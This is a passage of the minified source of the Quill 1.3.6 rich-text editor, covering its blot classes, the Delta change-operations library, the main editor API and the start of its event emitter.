p;!function(t){t[t.TYPE=3]="TYPE",t[t.LEVEL=12]="LEVEL",t[t.ATTRIBUTE=13]="ATTRIBUTE",t[t.BLOT=14]="BLOT",t[t.INLINE=7]="INLINE",t[t.BLOCK=11]="BLOCK",t[t.BLOCK_BLOT=10]="BLOCK_BLOT",t[t.INLINE_BLOT=6]="INLINE_BLOT",t[t.BLOCK_ATTRIBUTE=9]="BLOCK_ATTRIBUTE",t[t.INLINE_ATTRIBUTE=5]="INLINE_ATTRIBUTE",t[t.ANY=15]="ANY"}(p=e.Scope||(e.Scope={})),e.create=r,e.find=o,e.query=i,e.register=l},function(t,e){"use strict";var n=Object.prototype.hasOwnProperty,r=Object.prototype.toString,o=function(t){return"function"==typeof Array.isArray?Array.isArray(t):"[object Array]"===r.call(t)},i=function(t){if(!t||"[object Object]"!==r.call(t))return!1;var e=n.call(t,"constructor"),o=t.constructor&&t.constructor.prototype&&n.call(t.constructor.prototype,"isPrototypeOf");if(t.constructor&&!e&&!o)return!1;var i;for(i in t);return void 0===i||n.call(t,i)};t.exports=function t(){var e,n,r,l,a,s,u=arguments[0],c=1,f=arguments.length,h=!1;for("boolean"==typeof u&&(h=u,u=arguments[1]||{},c=2),(null==u||"object"!=typeof u&&"function"!=typeof u)&&(u={});c<f;++c)if(null!=(e=arguments[c]))for(n in e)r=u[n],l=e[n],u!==l&&(h&&l&&(i(l)||(a=o(l)))?(a?(a=!1,s=r&&o(r)?r:[]):s=r&&i(r)?r:{},u[n]=t(h,s,l)):void 0!==l&&(u[n]=l));return u}},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function a(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return null==t?e:("function"==typeof t.formats&&(e=(0,f.default)(e,t.formats())),null==t.parent||"scroll"==t.parent.blotName||t.parent.statics.scope!==t.statics.scope?e:a(t.parent,e))}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.BlockEmbed=e.bubbleFormats=void 0;var s=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),u=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},c=n(2),f=r(c),h=n(4),p=r(h),d=n(0),y=r(d),v=n(14),b=r(v),g=n(5),m=r(g),_=n(8),O=r(_),w=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),s(e,[{key:"attach",value:function(){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"attach",this).call(this),this.attributes=new y.default.Attributor.Store(this.domNode)}},{key:"delta",value:function(){return(new p.default).insert(this.value(),(0,f.default)(this.formats(),this.attributes.values()))}},{key:"format",value:function(t,e){var n=y.default.query(t,y.default.Scope.BLOCK_ATTRIBUTE);null!=n&&this.attributes.attribute(n,e)}},{key:"formatAt",value:function(t,e,n,r){this.format(n,r)}},{key:"insertAt",value:function(t,n,r){if("string"==typeof n&&n.endsWith("\n")){var o=y.default.create(x.blotName);this.parent.insertBefore(o,0===t?this:this.next),o.insertAt(0,n.slice(0,-1))}else u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertAt",this).call(this,t,n,r)}}]),e}(y.default.Embed);w.scope=y.default.Scope.BLOCK_BLOT;var x=function(t){function e(t){o(this,e);var n=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t));return n.cache={},n}return l(e,t),s(e,[{key:"delta",value:function(){return null==this.cache.delta&&(this.cache.delta=this.descendants(y.default.Leaf).reduce(function(t,e){return 0===e.length()?t:t.insert(e.value(),a(e))},new p.default).insert("\n",a(this))),this.cache.delta}},{key:"deleteAt",value:function(t,n){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"deleteAt",this).call(this,t,n),this.cache={}}},{key:"formatAt",value:function(t,n,r,o){n<=0||(y.default.query(r,y.default.Scope.BLOCK)?t+n===this.length()&&this.format(r,o):u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"formatAt",this).call(this,t,Math.min(n,this.length()-t-1),r,o),this.cache={})}},{key:"insertAt",value:function(t,n,r){if(null!=r)return u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertAt",this).call(this,t,n,r);if(0!==n.length){var o=n.split("\n"),i=o.shift();i.length>0&&(t<this.length()-1||null==this.children.tail?u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertAt",this).call(this,Math.min(t,this.length()-1),i):this.children.tail.insertAt(this.children.tail.length(),i),this.cache={});var l=this;o.reduce(function(t,e){return l=l.split(t,!0),l.insertAt(0,e),e.length},t+i.length)}}},{key:"insertBefore",value:function(t,n){var r=this.children.head;u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertBefore",this).call(this,t,n),r instanceof b.default&&r.remove(),this.cache={}}},{key:"length",value:function(){return null==this.cache.length&&(this.cache.length=u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"length",this).call(this)+1),this.cache.length}},{key:"moveChildren",value:function(t,n){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"moveChildren",this).call(this,t,n),this.cache={}}},{key:"optimize",value:function(t){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"optimize",this).call(this,t),this.cache={}}},{key:"path",value:function(t){return u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"path",this).call(this,t,!0)}},{key:"removeChild",value:function(t){u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"removeChild",this).call(this,t),this.cache={}}},{key:"split",value:function(t){var n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(n&&(0===t||t>=this.length()-1)){var r=this.clone();return 0===t?(this.parent.insertBefore(r,this),this):(this.parent.insertBefore(r,this.next),r)}var o=u(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"split",this).call(this,t,n);return this.cache={},o}}]),e}(y.default.Block);x.blotName="block",x.tagName="P",x.defaultChild="break",x.allowedChildren=[m.default,y.default.Embed,O.default],e.bubbleFormats=a,e.BlockEmbed=w,e.default=x},function(t,e,n){var r=n(54),o=n(12),i=n(2),l=n(20),a=String.fromCharCode(0),s=function(t){Array.isArray(t)?this.ops=t:null!=t&&Array.isArray(t.ops)?this.ops=t.ops:this.ops=[]};s.prototype.insert=function(t,e){var n={};return 0===t.length?this:(n.insert=t,null!=e&&"object"==typeof e&&Object.keys(e).length>0&&(n.attributes=e),this.push(n))},s.prototype.delete=function(t){return t<=0?this:this.push({delete:t})},s.prototype.retain=function(t,e){if(t<=0)return this;var n={retain:t};return null!=e&&"object"==typeof e&&Object.keys(e).length>0&&(n.attributes=e),this.push(n)},s.prototype.push=function(t){var e=this.ops.length,n=this.ops[e-1];if(t=i(!0,{},t),"object"==typeof n){if("number"==typeof t.delete&&"number"==typeof n.delete)return this.ops[e-1]={delete:n.delete+t.delete},this;if("number"==typeof n.delete&&null!=t.insert&&(e-=1,"object"!=typeof(n=this.ops[e-1])))return this.ops.unshift(t),this;if(o(t.attributes,n.attributes)){if("string"==typeof t.insert&&"string"==typeof n.insert)return this.ops[e-1]={insert:n.insert+t.insert},"object"==typeof t.attributes&&(this.ops[e-1].attributes=t.attributes),this;if("number"==typeof t.retain&&"number"==typeof n.retain)return this.ops[e-1]={retain:n.retain+t.retain},"object"==typeof t.attributes&&(this.ops[e-1].attributes=t.attributes),this}}return e===this.ops.length?this.ops.push(t):this.ops.splice(e,0,t),this},s.prototype.chop=function(){var t=this.ops[this.ops.length-1];return t&&t.retain&&!t.attributes&&this.ops.pop(),this},s.prototype.filter=function(t){return this.ops.filter(t)},s.prototype.forEach=function(t){this.ops.forEach(t)},s.prototype.map=function(t){return this.ops.map(t)},s.prototype.partition=function(t){var e=[],n=[];return this.forEach(function(r){(t(r)?e:n).push(r)}),[e,n]},s.prototype.reduce=function(t,e){return this.ops.reduce(t,e)},s.prototype.changeLength=function(){return this.reduce(function(t,e){return e.insert?t+l.length(e):e.delete?t-e.delete:t},0)},s.prototype.length=function(){return this.reduce(function(t,e){return t+l.length(e)},0)},s.prototype.slice=function(t,e){t=t||0,"number"!=typeof e&&(e=1/0);for(var n=[],r=l.iterator(this.ops),o=0;o<e&&r.hasNext();){var i;o<t?i=r.next(t-o):(i=r.next(e-o),n.push(i)),o+=l.length(i)}return new s(n)},s.prototype.compose=function(t){for(var e=l.iterator(this.ops),n=l.iterator(t.ops),r=new s;e.hasNext()||n.hasNext();)if("insert"===n.peekType())r.push(n.next());else if("delete"===e.peekType())r.push(e.next());else{var o=Math.min(e.peekLength(),n.peekLength()),i=e.next(o),a=n.next(o);if("number"==typeof a.retain){var u={};"number"==typeof i.retain?u.retain=o:u.insert=i.insert;var c=l.attributes.compose(i.attributes,a.attributes,"number"==typeof i.retain);c&&(u.attributes=c),r.push(u)}else"number"==typeof a.delete&&"number"==typeof i.retain&&r.push(a)}return r.chop()},s.prototype.concat=function(t){var e=new s(this.ops.slice());return t.ops.length>0&&(e.push(t.ops[0]),e.ops=e.ops.concat(t.ops.slice(1))),e},s.prototype.diff=function(t,e){if(this.ops===t.ops)return new s;var n=[this,t].map(function(e){return e.map(function(n){if(null!=n.insert)return"string"==typeof n.insert?n.insert:a;var r=e===t?"on":"with";throw new Error("diff() called "+r+" non-document")}).join("")}),i=new s,u=r(n[0],n[1],e),c=l.iterator(this.ops),f=l.iterator(t.ops);return u.forEach(function(t){for(var e=t[1].length;e>0;){var n=0;switch(t[0]){case r.INSERT:n=Math.min(f.peekLength(),e),i.push(f.next(n));break;case r.DELETE:n=Math.min(e,c.peekLength()),c.next(n),i.delete(n);break;case r.EQUAL:n=Math.min(c.peekLength(),f.peekLength(),e);var a=c.next(n),s=f.next(n);o(a.insert,s.insert)?i.retain(n,l.attributes.diff(a.attributes,s.attributes)):i.push(s).delete(n)}e-=n}}),i.chop()},s.prototype.eachLine=function(t,e){e=e||"\n";for(var n=l.iterator(this.ops),r=new s,o=0;n.hasNext();){if("insert"!==n.peekType())return;var i=n.peek(),a=l.length(i)-n.peekLength(),u="string"==typeof i.insert?i.insert.indexOf(e,a)-a:-1;if(u<0)r.push(n.next());else if(u>0)r.push(n.next(u));else{if(!1===t(r,n.next(1).attributes||{},o))return;o+=1,r=new s}}r.length()>0&&t(r,{},o)},s.prototype.transform=function(t,e){if(e=!!e,"number"==typeof t)return this.transformPosition(t,e);for(var n=l.iterator(this.ops),r=l.iterator(t.ops),o=new s;n.hasNext()||r.hasNext();)if("insert"!==n.peekType()||!e&&"insert"===r.peekType())if("insert"===r.peekType())o.push(r.next());else{var i=Math.min(n.peekLength(),r.peekLength()),a=n.next(i),u=r.next(i);if(a.delete)continue;u.delete?o.push(u):o.retain(i,l.attributes.transform(a.attributes,u.attributes,e))}else o.retain(l.length(n.next()));return o.chop()},s.prototype.transformPosition=function(t,e){e=!!e;for(var n=l.iterator(this.ops),r=0;n.hasNext()&&r<=t;){var o=n.peekLength(),i=n.peekType();n.next(),"delete"!==i?("insert"===i&&(r<t||!e)&&(t+=o),r+=o):t-=Math.min(o,t-r)}return t},t.exports=s},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=n(8),c=r(u),f=n(0),h=r(f),p=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),a(e,[{key:"formatAt",value:function(t,n,r,o){if(e.compare(this.statics.blotName,r)<0&&h.default.query(r,h.default.Scope.BLOT)){var i=this.isolate(t,n);o&&i.wrap(r,o)}else s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"formatAt",this).call(this,t,n,r,o)}},{key:"optimize",value:function(t){if(s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"optimize",this).call(this,t),this.parent instanceof e&&e.compare(this.statics.blotName,this.parent.statics.blotName)>0){var n=this.parent.isolate(this.offset(),this.length());this.moveChildren(n),n.wrap(this)}}}],[{key:"compare",value:function(t,n){var r=e.order.indexOf(t),o=e.order.indexOf(n);return r>=0||o>=0?r-o:t===n?0:t<n?-1:1}}]),e}(h.default.Inline);p.allowedChildren=[p,h.default.Embed,c.default],p.order=["cursor","inline","underline","strike","italic","bold","script","link","code"],e.default=p},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){if(e=(0,N.default)(!0,{container:t,modules:{clipboard:!0,keyboard:!0,history:!0}},e),e.theme&&e.theme!==S.DEFAULTS.theme){if(e.theme=S.import("themes/"+e.theme),null==e.theme)throw new Error("Invalid theme "+e.theme+". Did you register it?")}else e.theme=T.default;var n=(0,N.default)(!0,{},e.theme.DEFAULTS);[n,e].forEach(function(t){t.modules=t.modules||{},Object.keys(t.modules).forEach(function(e){!0===t.modules[e]&&(t.modules[e]={})})});var r=Object.keys(n.modules).concat(Object.keys(e.modules)),o=r.reduce(function(t,e){var n=S.import("modules/"+e);return null==n?P.error("Cannot load "+e+" module. Are you sure you registered it?"):t[e]=n.DEFAULTS||{},t},{});return null!=e.modules&&e.modules.toolbar&&e.modules.toolbar.constructor!==Object&&(e.modules.toolbar={container:e.modules.toolbar}),e=(0,N.default)(!0,{},S.DEFAULTS,{modules:o},n,e),["bounds","container","scrollingContainer"].forEach(function(t){"string"==typeof e[t]&&(e[t]=document.querySelector(e[t]))}),e.modules=Object.keys(e.modules).reduce(function(t,n){return e.modules[n]&&(t[n]=e.modules[n]),t},{}),e}function a(t,e,n,r){if(this.options.strict&&!this.isEnabled()&&e===g.default.sources.USER)return new d.default;var o=null==n?null:this.getSelection(),i=this.editor.delta,l=t();if(null!=o&&(!0===n&&(n=o.index),null==r?o=u(o,l,e):0!==r&&(o=u(o,n,r,e)),this.setSelection(o,g.default.sources.SILENT)),l.length()>0){var a,s=[g.default.events.TEXT_CHANGE,l,i,e];if((a=this.emitter).emit.apply(a,[g.default.events.EDITOR_CHANGE].concat(s)),e!==g.default.sources.SILENT){var c;(c=this.emitter).emit.apply(c,s)}}return l}function s(t,e,n,r,o){var i={};return"number"==typeof t.index&&"number"==typeof t.length?"number"!=typeof e?(o=r,r=n,n=e,e=t.length,t=t.index):(e=t.length,t=t.index):"number"!=typeof e&&(o=r,r=n,n=e,e=0),"object"===(void 0===n?"undefined":c(n))?(i=n,o=r):"string"==typeof n&&(null!=r?i[n]=r:o=n),o=o||g.default.sources.API,[t,e,i,o]}function u(t,e,n,r){if(null==t)return null;var o=void 0,i=void 0;if(e instanceof d.default){var l=[t.index,t.index+t.length].map(function(t){return e.transformPosition(t,r!==g.default.sources.USER)}),a=f(l,2);o=a[0],i=a[1]}else{var s=[t.index,t.index+t.length].map(function(t){return t<e||t===e&&r===g.default.sources.USER?t:n>=0?t+n:Math.max(e,t+n)}),u=f(s,2);o=u[0],i=u[1]}return new x.Range(o,i-o)}Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.overload=e.expandConfig=void 0;var c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},f=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),h=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}();n(53);var p=n(4),d=r(p),y=n(57),v=r(y),b=n(9),g=r(b),m=n(7),_=r(m),O=n(0),w=r(O),x=n(22),k=r(x),E=n(2),N=r(E),j=n(10),A=r(j),q=n(32),T=r(q),P=(0,A.default)("quill"),S=function(){function t(e){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(i(this,t),this.options=l(e,r),this.container=this.options.container,null==this.container)return P.error("Invalid Quill container",e);this.options.debug&&t.debug(this.options.debug);var o=this.container.innerHTML.trim();this.container.classList.add("ql-container"),this.container.innerHTML="",this.container.__quill=this,this.root=this.addContainer("ql-editor"),this.root.classList.add("ql-blank"),this.root.setAttribute("data-gramm",!1),this.scrollingContainer=this.options.scrollingContainer||this.root,this.emitter=new g.default,this.scroll=w.default.create(this.root,{emitter:this.emitter,whitelist:this.options.formats}),this.editor=new v.default(this.scroll),this.selection=new k.default(this.scroll,this.emitter),this.theme=new this.options.theme(this,this.options),this.keyboard=this.theme.addModule("keyboard"),this.clipboard=this.theme.addModule("clipboard"),this.history=this.theme.addModule("history"),this.theme.init(),this.emitter.on(g.default.events.EDITOR_CHANGE,function(t){t===g.default.events.TEXT_CHANGE&&n.root.classList.toggle("ql-blank",n.editor.isBlank())}),this.emitter.on(g.default.events.SCROLL_UPDATE,function(t,e){var r=n.selection.lastRange,o=r&&0===r.length?r.index:void 0;a.call(n,function(){return n.editor.update(null,e,o)},t)});var s=this.clipboard.convert("<div class='ql-editor' style=\"white-space: normal;\">"+o+"<p><br></p></div>");this.setContents(s),this.history.clear(),this.options.placeholder&&this.root.setAttribute("data-placeholder",this.options.placeholder),this.options.readOnly&&this.disable()}return h(t,null,[{key:"debug",value:function(t){!0===t&&(t="log"),A.default.level(t)}},{key:"find",value:function(t){return t.__quill||w.default.find(t)}},{key:"import",value:function(t){return null==this.imports[t]&&P.error("Cannot import "+t+". Are you sure it was registered?"),this.imports[t]}},{key:"register",value:function(t,e){var n=this,r=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if("string"!=typeof t){var o=t.attrName||t.blotName;"string"==typeof o?this.register("formats/"+o,t,e):Object.keys(t).forEach(function(r){n.register(r,t[r],e)})}else null==this.imports[t]||r||P.warn("Overwriting "+t+" with",e),this.imports[t]=e,(t.startsWith("blots/")||t.startsWith("formats/"))&&"abstract"!==e.blotName?w.default.register(e):t.startsWith("modules")&&"function"==typeof e.register&&e.register()}}]),h(t,[{key:"addContainer",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if("string"==typeof t){var n=t;t=document.createElement("div"),t.classList.add(n)}return this.container.insertBefore(t,e),t}},{key:"blur",value:function(){this.selection.setRange(null)}},{key:"deleteText",value:function(t,e,n){var r=this,o=s(t,e,n),i=f(o,4);return t=i[0],e=i[1],n=i[3],a.call(this,function(){return r.editor.deleteText(t,e)},n,t,-1*e)}},{key:"disable",value:function(){this.enable(!1)}},{key:"enable",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.scroll.enable(t),this.container.classList.toggle("ql-disabled",!t)}},{key:"focus",value:function(){var t=this.scrollingContainer.scrollTop;this.selection.focus(),this.scrollingContainer.scrollTop=t,this.scrollIntoView()}},{key:"format",value:function(t,e){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:g.default.sources.API;return a.call(this,function(){var r=n.getSelection(!0),i=new d.default;if(null==r)return i;if(w.default.query(t,w.default.Scope.BLOCK))i=n.editor.formatLine(r.index,r.length,o({},t,e));else{if(0===r.length)return n.selection.format(t,e),i;i=n.editor.formatText(r.index,r.length,o({},t,e))}return n.setSelection(r,g.default.sources.SILENT),i},r)}},{key:"formatLine",value:function(t,e,n,r,o){var i=this,l=void 0,u=s(t,e,n,r,o),c=f(u,4);return t=c[0],e=c[1],l=c[2],o=c[3],a.call(this,function(){return i.editor.formatLine(t,e,l)},o,t,0)}},{key:"formatText",value:function(t,e,n,r,o){var i=this,l=void 0,u=s(t,e,n,r,o),c=f(u,4);return t=c[0],e=c[1],l=c[2],o=c[3],a.call(this,function(){return i.editor.formatText(t,e,l)},o,t,0)}},{key:"getBounds",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=void 0;n="number"==typeof t?this.selection.getBounds(t,e):this.selection.getBounds(t.index,t.length);var r=this.container.getBoundingClientRect();return{bottom:n.bottom-r.top,height:n.height,left:n.left-r.left,right:n.right-r.left,top:n.top-r.top,width:n.width}}},{key:"getContents",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.getLength()-t,n=s(t,e),r=f(n,2);return t=r[0],e=r[1],this.editor.getContents(t,e)}},{key:"getFormat",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.getSelection(!0),e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return"number"==typeof t?this.editor.getFormat(t,e):this.editor.getFormat(t.index,t.length)}},{key:"getIndex",value:function(t){return t.offset(this.scroll)}},{key:"getLength",value:function(){return this.scroll.length()}},{key:"getLeaf",value:function(t){return this.scroll.leaf(t)}},{key:"getLine",value:function(t){return this.scroll.line(t)}},{key:"getLines",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Number.MAX_VALUE;return"number"!=typeof t?this.scroll.lines(t.index,t.length):this.scroll.lines(t,e)}},{key:"getModule",value:function(t){return this.theme.modules[t]}},{key:"getSelection",value:function(){return arguments.length>0&&void 0!==arguments[0]&&arguments[0]&&this.focus(),this.update(),this.selection.getRange()[0]}},{key:"getText",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.getLength()-t,n=s(t,e),r=f(n,2);return t=r[0],e=r[1],this.editor.getText(t,e)}},{key:"hasFocus",value:function(){return this.selection.hasFocus()}},{key:"insertEmbed",value:function(e,n,r){var o=this,i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:t.sources.API;return a.call(this,function(){return o.editor.insertEmbed(e,n,r)},i,e)}},{key:"insertText",value:function(t,e,n,r,o){var i=this,l=void 0,u=s(t,0,n,r,o),c=f(u,4);return t=c[0],l=c[2],o=c[3],a.call(this,function(){return i.editor.insertText(t,e,l)},o,t,e.length)}},{key:"isEnabled",value:function(){return!this.container.classList.contains("ql-disabled")}},{key:"off",value:function(){return this.emitter.off.apply(this.emitter,arguments)}},{key:"on",value:function(){return this.emitter.on.apply(this.emitter,arguments)}},{key:"once",value:function(){return this.emitter.once.apply(this.emitter,arguments)}},{key:"pasteHTML",value:function(t,e,n){this.clipboard.dangerouslyPasteHTML(t,e,n)}},{key:"removeFormat",value:function(t,e,n){var r=this,o=s(t,e,n),i=f(o,4);return t=i[0],e=i[1],n=i[3],a.call(this,function(){return r.editor.removeFormat(t,e)},n,t)}},{key:"scrollIntoView",value:function(){this.selection.scrollIntoView(this.scrollingContainer)}},{key:"setContents",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:g.default.sources.API;return a.call(this,function(){t=new d.default(t);var n=e.getLength(),r=e.editor.deleteText(0,n),o=e.editor.applyDelta(t),i=o.ops[o.ops.length-1];return null!=i&&"string"==typeof i.insert&&"\n"===i.insert[i.insert.length-1]&&(e.editor.deleteText(e.getLength()-1,1),o.delete(1)),r.compose(o)},n)}},{key:"setSelection",value:function(e,n,r){if(null==e)this.selection.setRange(null,n||t.sources.API);else{var o=s(e,n,r),i=f(o,4);e=i[0],n=i[1],r=i[3],this.selection.setRange(new x.Range(e,n),r),r!==g.default.sources.SILENT&&this.selection.scrollIntoView(this.scrollingContainer)}}},{key:"setText",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:g.default.sources.API,n=(new d.default).insert(t);return this.setContents(n,e)}},{key:"update",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:g.default.sources.USER,e=this.scroll.update(t);return this.selection.update(t),e}},{key:"updateContents",value:function(t){var e=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:g.default.sources.API;return a.call(this,function(){return t=new d.default(t),e.editor.applyDelta(t,n)},n,!0)}}]),t}();S.DEFAULTS={bounds:null,formats:null,modules:{},placeholder:"",readOnly:!1,scrollingContainer:null,strict:!0,theme:"default"},S.events=g.default.events,S.sources=g.default.sources,S.version="1.3.6",S.imports={delta:d.default,parchment:w.default,"core/module":_.default,"core/theme":T.default},e.expandConfig=l,e.overload=s,e.default=S},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(e,"__esModule",{value:!0});var o=function t(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};r(this,t),this.quill=e,this.options=n};o.DEFAULTS={},e.default=o},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var l=n(0),a=function(t){return t&&t.__esModule?t:{default:t}}(l),s=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),e}(a.default.Text);e.default=s},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var a=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=n(58),c=r(u),f=n(10),h=r(f),p=(0,h.default)("quill:events");["selectionchange","mousedown","mouseup","click"].forEach(function(t){document.addEventListener(t,function(){for(var t=arguments.length,e=Array(t),n=0;n<t;n++)e[n]=arguments[n];[].slice.call(document.querySelectorAll(".ql-container")).forEach(function(t){if(t.__quill&&t.__quill.emitter){var n;(n=t.__quill.emitter).handleDOM.apply(n,e)}})})});var d=function(t){function e(){o(this,e);var t=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return t.listeners={},t.on("error",p.error),t}return l(e,t),a(e,[{key:"emit",value:function(){p.log.apply(p,arguments),s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"emit",this).apply(this,arguments)}},{key:"handleDOM",value:function(t){for(var e=arguments.length,n=Array(e>1?e-1:0),r=1;r<e;r++)n[r-1]=arguments[r];(this.listeners[t.type]||[]).forEach(function(e){var r=e.node,o=e.handler;(t.target===r||r.contains(t.target))&&o.apply(void 